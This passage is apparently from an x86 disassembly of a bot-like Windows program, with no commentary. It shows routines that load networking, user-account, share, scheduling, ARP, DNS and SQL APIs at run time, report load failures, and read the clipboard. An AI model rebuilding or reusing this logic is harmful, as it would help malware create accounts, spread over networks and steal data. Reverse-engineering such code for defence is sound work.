		cmp	dword_44CCBC, ebx
		jz	short loc_407B13
		cmp	dword_44CC84, ebx
		jz	short loc_407B13
		cmp	dword_44CCF0, ebx
		jz	short loc_407B13
		cmp	dword_44CD5C, ebx
		jz	short loc_407B13
		cmp	dword_44CC98, ebx
		jz	short loc_407B13
		cmp	eax, ebx
		jnz	short loc_407B1D
		jmp	short loc_407B13
; ---------------------------------------------------------------------------


loc_407B08:				; CODE XREF: sub_4073B6+4A7j
		call	ds:off_41F06C
		mov	dword_44CDBC, eax


loc_407B13:				; CODE XREF: sub_4073B6+646j
					; sub_4073B6+652j ...
		mov	dword_44CDB8, 1


loc_407B1D:				; CODE XREF: sub_4073B6+74Ej
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp ; sub_747AEC
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_407C22
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi ; sub_74AAC1
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_44CC30, eax
		call	esi ; sub_74AAC1
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_44CBC0, eax
		call	esi ; sub_74AAC1
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_44CCA8, eax
		call	esi ; sub_74AAC1
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_44CC64, eax
		call	esi ; sub_74AAC1
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_44CCB0, eax
		call	esi ; sub_74AAC1
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_44CC7C, eax
		call	esi ; sub_74AAC1
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_44CBFC, eax
		call	esi ; sub_74AAC1
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_44CBF4, eax
		call	esi ; sub_74AAC1
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_44CC04, eax
		call	esi ; sub_74AAC1
		cmp	dword_44CC30, ebx
		mov	ecx, dword_44CC7C
		mov	dword_44CD0C, eax
		jz	short loc_407BFE
		cmp	dword_44CBC0, ebx
		jz	short loc_407BFE
		cmp	dword_44CCA8, ebx
		jz	short loc_407BFE
		cmp	dword_44CC64, ebx
		jz	short loc_407BFE
		cmp	dword_44CCB0, ebx
		jz	short loc_407BFE
		cmp	ecx, ebx
		jz	short loc_407BFE
		cmp	dword_44CBFC, ebx
		jz	short loc_407BFE
		cmp	dword_44CBF4, ebx
		jz	short loc_407BFE
		cmp	dword_44CC04, ebx
		jz	short loc_407BFE
		cmp	eax, ebx
		jnz	short loc_407C08


loc_407BFE:				; CODE XREF: sub_4073B6+806j
					; sub_4073B6+80Ej ...
		mov	dword_44CDC0, 1


loc_407C08:				; CODE XREF: sub_4073B6+846j
		cmp	ecx, ebx
		jz	short loc_407C3D
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_44CC90, eax
		jnz	short loc_407C3D
		jmp	short loc_407C37
; ---------------------------------------------------------------------------


loc_407C22:				; CODE XREF: sub_4073B6+772j
		call	ds:off_41F06C
		mov	dword_44CDC4, eax
		mov	dword_44CDC0, 1


loc_407C37:				; CODE XREF: sub_4073B6+86Aj
		mov	dword_44CC90, ebx


loc_407C3D:				; CODE XREF: sub_4073B6+854j
					; sub_4073B6+868j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp ; sub_747AEC
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_407C87
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi ; sub_74AAC1
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_44CC70, eax
		call	esi ; sub_74AAC1
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_44CD90, eax
		call	esi ; sub_74AAC1
		cmp	dword_44CC70, ebx
		mov	dword_44CC10, eax
		jz	short loc_407C92
		cmp	dword_44CD90, ebx
		jz	short loc_407C92
		cmp	eax, ebx
		jnz	short loc_407C9C
		jmp	short loc_407C92
; ---------------------------------------------------------------------------


loc_407C87:				; CODE XREF: sub_4073B6+892j
		call	ds:off_41F06C
		mov	dword_44CDCC, eax


loc_407C92:				; CODE XREF: sub_4073B6+8C1j
					; sub_4073B6+8C9j ...
		mov	dword_44CDC8, 1


loc_407C9C:				; CODE XREF: sub_4073B6+8CDj
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp ; sub_747AEC
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_407D92
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi ; sub_74AAC1
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_44CBEC, eax
		call	esi ; sub_74AAC1
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_44CBC8, eax
		call	esi ; sub_74AAC1
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_44CC38, eax
		call	esi ; sub_74AAC1
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_44CC68, eax
		call	esi ; sub_74AAC1
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_44CD68, eax
		call	esi ; sub_74AAC1
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_44CC24, eax
		call	esi ; sub_74AAC1
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_44CBD0, eax
		call	esi ; sub_74AAC1
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_44CBC4, eax
		call	esi ; sub_74AAC1
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_44CC50, eax
		call	esi ; sub_74AAC1
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_44CD30, eax
		call	esi ; sub_74AAC1
		cmp	dword_44CBEC, ebx
		mov	dword_44CCEC, eax
		jz	short loc_407D9D
		cmp	dword_44CBC8, ebx
		jz	short loc_407D9D
		cmp	dword_44CC38, ebx
		jz	short loc_407D9D
		cmp	dword_44CC68, ebx
		jz	short loc_407D9D
		cmp	dword_44CD68, ebx
		jz	short loc_407D9D
		cmp	dword_44CC24, ebx
		jz	short loc_407D9D
		cmp	dword_44CBD0, ebx
		jz	short loc_407D9D
		cmp	dword_44CBC4, ebx
		jz	short loc_407D9D
		cmp	dword_44CC50, ebx
		jz	short loc_407D9D
		cmp	dword_44CD30, ebx
		jz	short loc_407D9D
		cmp	eax, ebx
		jnz	short loc_407DA7
		jmp	short loc_407D9D
; ---------------------------------------------------------------------------


loc_407D92:				; CODE XREF: sub_4073B6+8F1j
		call	ds:off_41F06C
		mov	dword_44CDD4, eax


loc_407D9D:				; CODE XREF: sub_4073B6+98Cj
					; sub_4073B6+994j ...
		mov	dword_44CDD0, 1


loc_407DA7:				; CODE XREF: sub_4073B6+9D8j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp ; sub_747AEC
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_407DDC
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi ; sub_74AAC1
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_44CC14, eax
		call	esi ; sub_74AAC1
		cmp	dword_44CC14, ebx
		mov	dword_44CCD4, eax
		jz	short loc_407DE7
		cmp	eax, ebx
		jnz	short loc_407DF1
		jmp	short loc_407DE7
; ---------------------------------------------------------------------------


loc_407DDC:				; CODE XREF: sub_4073B6+9FCj
		call	ds:off_41F06C
		mov	dword_44CDDC, eax


loc_407DE7:				; CODE XREF: sub_4073B6+A1Ej
					; sub_4073B6+A24j
		mov	dword_44CDD8, 1


loc_407DF1:				; CODE XREF: sub_4073B6+A22j
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp ; sub_747AEC
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_407E26
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi ; sub_74AAC1
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_44CD54, eax
		call	esi ; sub_74AAC1
		cmp	dword_44CD54, ebx
		mov	dword_44CD50, eax
		jz	short loc_407E31
		cmp	eax, ebx
		jnz	short loc_407E3B
		jmp	short loc_407E31
; ---------------------------------------------------------------------------


loc_407E26:				; CODE XREF: sub_4073B6+A46j
		call	ds:off_41F06C
		mov	dword_44CDE4, eax


loc_407E31:				; CODE XREF: sub_4073B6+A68j
					; sub_4073B6+A6Ej
		mov	dword_44CDE0, 1


loc_407E3B:				; CODE XREF: sub_4073B6+A6Cj
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp ; sub_747AEC
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_407E9A
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi ; sub_74AAC1
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_44CD80, eax
		call	esi ; sub_74AAC1
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_44CD78, eax
		call	esi ; sub_74AAC1
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_44CD40, eax
		call	esi ; sub_74AAC1
		cmp	dword_44CD80, ebx
		mov	dword_44CC2C, eax
		jz	short loc_407EA5
		cmp	dword_44CD78, ebx
		jz	short loc_407EA5
		cmp	dword_44CD40, ebx
		jz	short loc_407EA5
		cmp	eax, ebx
		jnz	short loc_407EAF
		jmp	short loc_407EA5
; ---------------------------------------------------------------------------


loc_407E9A:				; CODE XREF: sub_4073B6+A90j
		call	ds:off_41F06C
		mov	dword_44CDEC, eax


loc_407EA5:				; CODE XREF: sub_4073B6+ACCj
					; sub_4073B6+AD4j ...
		mov	dword_44CDE8, 1


loc_407EAF:				; CODE XREF: sub_4073B6+AE0j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp ; sub_747AEC
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_407EE4
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi ; sub_74AAC1
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_44CC5C, eax
		call	esi ; sub_74AAC1
		cmp	dword_44CC5C, ebx
		mov	dword_44CD4C, eax
		jz	short loc_407EEF
		cmp	eax, ebx
		jnz	short loc_407EF9
		jmp	short loc_407EEF
; ---------------------------------------------------------------------------


loc_407EE4:				; CODE XREF: sub_4073B6+B04j
		call	ds:off_41F06C
		mov	dword_44CDF4, eax


loc_407EEF:				; CODE XREF: sub_4073B6+B26j
					; sub_4073B6+B2Cj
		mov	dword_44CDF0, 1


loc_407EF9:				; CODE XREF: sub_4073B6+B2Aj
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp ; sub_747AEC
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_407F82
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi ; sub_74AAC1
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_44CD14, eax
		call	esi ; sub_74AAC1
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_44CD60, eax
		call	esi ; sub_74AAC1
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_44CCA4, eax
		call	esi ; sub_74AAC1
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_44CC6C, eax
		call	esi ; sub_74AAC1
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_44CCF8, eax
		call	esi ; sub_74AAC1
		cmp	dword_44CD14, ebx
		mov	dword_44CC74, eax
		jz	short loc_407F8D
		cmp	dword_44CD60, ebx
		jz	short loc_407F8D
		cmp	dword_44CCA4, ebx
		jz	short loc_407F8D
		cmp	dword_44CC6C, ebx
		jz	short loc_407F8D
		cmp	dword_44CCF8, ebx
		jz	short loc_407F8D
		cmp	eax, ebx
		jnz	short loc_407F97
		jmp	short loc_407F8D
; ---------------------------------------------------------------------------


loc_407F82:				; CODE XREF: sub_4073B6+B4Ej
		call	ds:off_41F06C
		mov	dword_44CDFC, eax


loc_407F8D:				; CODE XREF: sub_4073B6+BA4j
					; sub_4073B6+BACj ...
		mov	dword_44CDF8, 1


loc_407F97:				; CODE XREF: sub_4073B6+BC8j
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4073B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F9F	proc near		; CODE XREF: sub_40CC09+4D87p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_44CD98, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_407FE7
		push	dword_44CD9C
		lea	eax, [ebp+var_100]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h


loc_407FE7:				; CODE XREF: sub_407F9F+1Aj
		cmp	dword_44CDA0, esi
		jz	short loc_40801B
		push	dword_44CDA4
		lea	eax, [ebp+var_100]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h


loc_40801B:				; CODE XREF: sub_407F9F+4Ej
		cmp	dword_44CDA8, esi
		jz	short loc_40804F
		push	dword_44CDAC
		lea	eax, [ebp+var_100]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h


loc_40804F:				; CODE XREF: sub_407F9F+82j
		cmp	dword_44CDB0, esi
		jz	short loc_408083
		push	dword_44CDB4
		lea	eax, [ebp+var_100]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h


loc_408083:				; CODE XREF: sub_407F9F+B6j
		cmp	dword_44CDB8, esi
		jz	short loc_4080B7
		push	dword_44CDBC
		lea	eax, [ebp+var_100]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h


loc_4080B7:				; CODE XREF: sub_407F9F+EAj
		cmp	dword_44CDC0, esi
		jz	short loc_4080EB
		push	dword_44CDC4
		lea	eax, [ebp+var_100]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h


loc_4080EB:				; CODE XREF: sub_407F9F+11Ej
		cmp	dword_44CDC8, esi
		jz	short loc_40811F
		push	dword_44CDCC
		lea	eax, [ebp+var_100]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h


loc_40811F:				; CODE XREF: sub_407F9F+152j
		cmp	dword_44CDD0, esi
		jz	short loc_408153
		push	dword_44CDD4
		lea	eax, [ebp+var_100]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h


loc_408153:				; CODE XREF: sub_407F9F+186j
		cmp	dword_44CDD8, esi
		jz	short loc_408187
		push	dword_44CDDC
		lea	eax, [ebp+var_100]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h


loc_408187:				; CODE XREF: sub_407F9F+1BAj
		cmp	dword_44CDE0, esi
		jz	short loc_4081BB
		push	dword_44CDE4
		lea	eax, [ebp+var_100]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h


loc_4081BB:				; CODE XREF: sub_407F9F+1EEj
		cmp	dword_44CDE8, esi
		jz	short loc_4081EF
		push	dword_44CDEC
		lea	eax, [ebp+var_100]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h


loc_4081EF:				; CODE XREF: sub_407F9F+222j
		cmp	dword_44CDF0, esi
		jz	short loc_408223
		push	dword_44CDF4
		lea	eax, [ebp+var_100]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h


loc_408223:				; CODE XREF: sub_407F9F+256j
		cmp	dword_44CDF8, esi
		jz	short loc_408257
		push	dword_44CDFC
		lea	eax, [ebp+var_100]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h


loc_408257:				; CODE XREF: sub_407F9F+28Aj
		lea	eax, [ebp+var_100]
		push	offset unk_426D5C
		push	eax
		call	sub_413812
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_408284
		push	esi
		lea	eax, [ebp+var_100]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 14h


loc_408284:				; CODE XREF: sub_407F9F+2CEj
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_409833
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407F9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408296	proc near		; CODE XREF: sub_40CC09+C4Dp
					; sub_40CC09+C81p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_408321
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_408321
		cmp	[ebp+arg_8], esi
		jz	short loc_408321
		cmp	byte ptr [eax],	0
		jz	short loc_408321
		push	ebx
		push	edi
		call	sub_41E09E
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_40831C
		push	[ebp+arg_4]
		push	edi
		call	sub_413DE0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_408315
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_415140
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_413E90
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_415310
		push	[ebp+arg_4]
		call	sub_413E90
		add	eax, esi
		push	eax
		push	ebx
		call	sub_414FC0
		push	ebx
		push	edi
		call	sub_414FB0
		add	esp, 30h
		mov	esi, edi


loc_408315:				; CODE XREF: sub_408296+3Cj
		push	ebx
		call	sub_413F7F
		pop	ecx


loc_40831C:				; CODE XREF: sub_408296+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_408323
; ---------------------------------------------------------------------------


loc_408321:				; CODE XREF: sub_408296+Cj
					; sub_408296+13j ...
		xor	eax, eax


loc_408323:				; CODE XREF: sub_408296+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_408296	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408327	proc near		; CODE XREF: sub_40CA91+E9p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_413890
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_413E90
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_40835D
		or	eax, 0FFFFFFFFh
		jmp	short loc_4083D0
; ---------------------------------------------------------------------------


loc_40835D:				; CODE XREF: sub_408327+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_40837F


loc_408369:				; CODE XREF: sub_408327+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_408376
		cmp	dl, 0Dh
		jnz	short loc_40837A


loc_408376:				; CODE XREF: sub_408327+48j
		and	byte ptr [ecx+esi], 0


loc_40837A:				; CODE XREF: sub_408327+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_408369


loc_40837F:				; CODE XREF: sub_408327+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_4083B0
		lea	edi, [ebp+var_7CC]


loc_40838C:				; CODE XREF: sub_408327+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_4083AB
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_4083AB
		cmp	ebx, 1F4h
		jge	short loc_4083B0
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_4083AB:				; CODE XREF: sub_408327+69j
					; sub_408327+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_40838C


loc_4083B0:				; CODE XREF: sub_408327+5Dj
					; sub_408327+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_4083CE
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_4138F0
		add	esp, 0Ch


loc_4083CE:				; CODE XREF: sub_408327+8Ej
		mov	eax, ebx


loc_4083D0:				; CODE XREF: sub_408327+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_408327	endp


; =============== S U B	R O U T	I N E =======================================



sub_4083D4	proc near		; CODE XREF: sub_40842E+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_40840D
		push	ebx
		mov	ebx, edi


loc_4083F1:				; CODE XREF: sub_4083D4+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_408410
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_4083F1
		pop	ebx


loc_40840D:				; CODE XREF: sub_4083D4+18j
		pop	edi
		pop	esi
		retn
sub_4083D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_408410	proc near		; CODE XREF: sub_4083D4+25p
					; sub_40842E+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_415467
		cmp	al, 61h
		pop	ecx
		jl	short loc_40842B
		cmp	al, 7Ah
		jg	short loc_40842B
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_40842B:				; CODE XREF: sub_408410+Ej
					; sub_408410+12j
		xor	eax, eax
		retn
sub_408410	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40842E	proc near		; CODE XREF: sub_409913+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_413E60
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_413E90
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_413E90
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_4083D4
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_40846C:				; CODE XREF: sub_40842E+B6j
		test	esi, esi
		jle	short loc_4084EA
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_415467
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_415467
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4084E2


loc_408492:				; CODE XREF: sub_40842E+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_408410
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_4084B3
		mov	eax, ecx


loc_4084B3:				; CODE XREF: sub_40842E+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_4084E6
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_415467
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_415467
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_408492


loc_4084E2:				; CODE XREF: sub_40842E+62j
		dec	edi
		dec	esi
		jmp	short loc_40846C
; ---------------------------------------------------------------------------


loc_4084E6:				; CODE XREF: sub_40842E+8Aj
		xor	eax, eax
		jmp	short loc_4084EF
; ---------------------------------------------------------------------------


loc_4084EA:				; CODE XREF: sub_40842E+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_4084EF:				; CODE XREF: sub_40842E+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40842E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4084F4	proc near		; CODE XREF: sub_40CC09+3813p
					; sub_40CC09+429Dp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	ds:off_41F06C
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	ds:off_41F0B4
		lea	eax, [ebp+var_100]


loc_40852D:				; CODE XREF: sub_4084F4+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_408539
		cmp	cl, 9
		jnz	short loc_40853C


loc_408539:				; CODE XREF: sub_4084F4+3Ej
		inc	eax
		jmp	short loc_40852D
; ---------------------------------------------------------------------------


loc_40853C:				; CODE XREF: sub_4084F4+43j
					; sub_4084F4+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_408556
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_40853C
		cmp	cl, 21h
		jl	short loc_40853C


loc_408556:				; CODE XREF: sub_4084F4+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_44CE08
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	0FFh
		push	esi
		call	sub_413D8A
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4084F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40857E	proc near		; CODE XREF: sub_40CC09+4CEEp
		push	esi
		push	0
		call	dword_44CCAC	; OpenClipboard
		test	eax, eax
		jz	short loc_4085B5
		push	1
		call	dword_44CCCC	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_4085B5
		push	edi
		push	esi
		call	ds:off_41F0BC
		push	esi
		mov	edi, eax
		call	ds:off_41F0B8
		call	dword_44CD2C	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


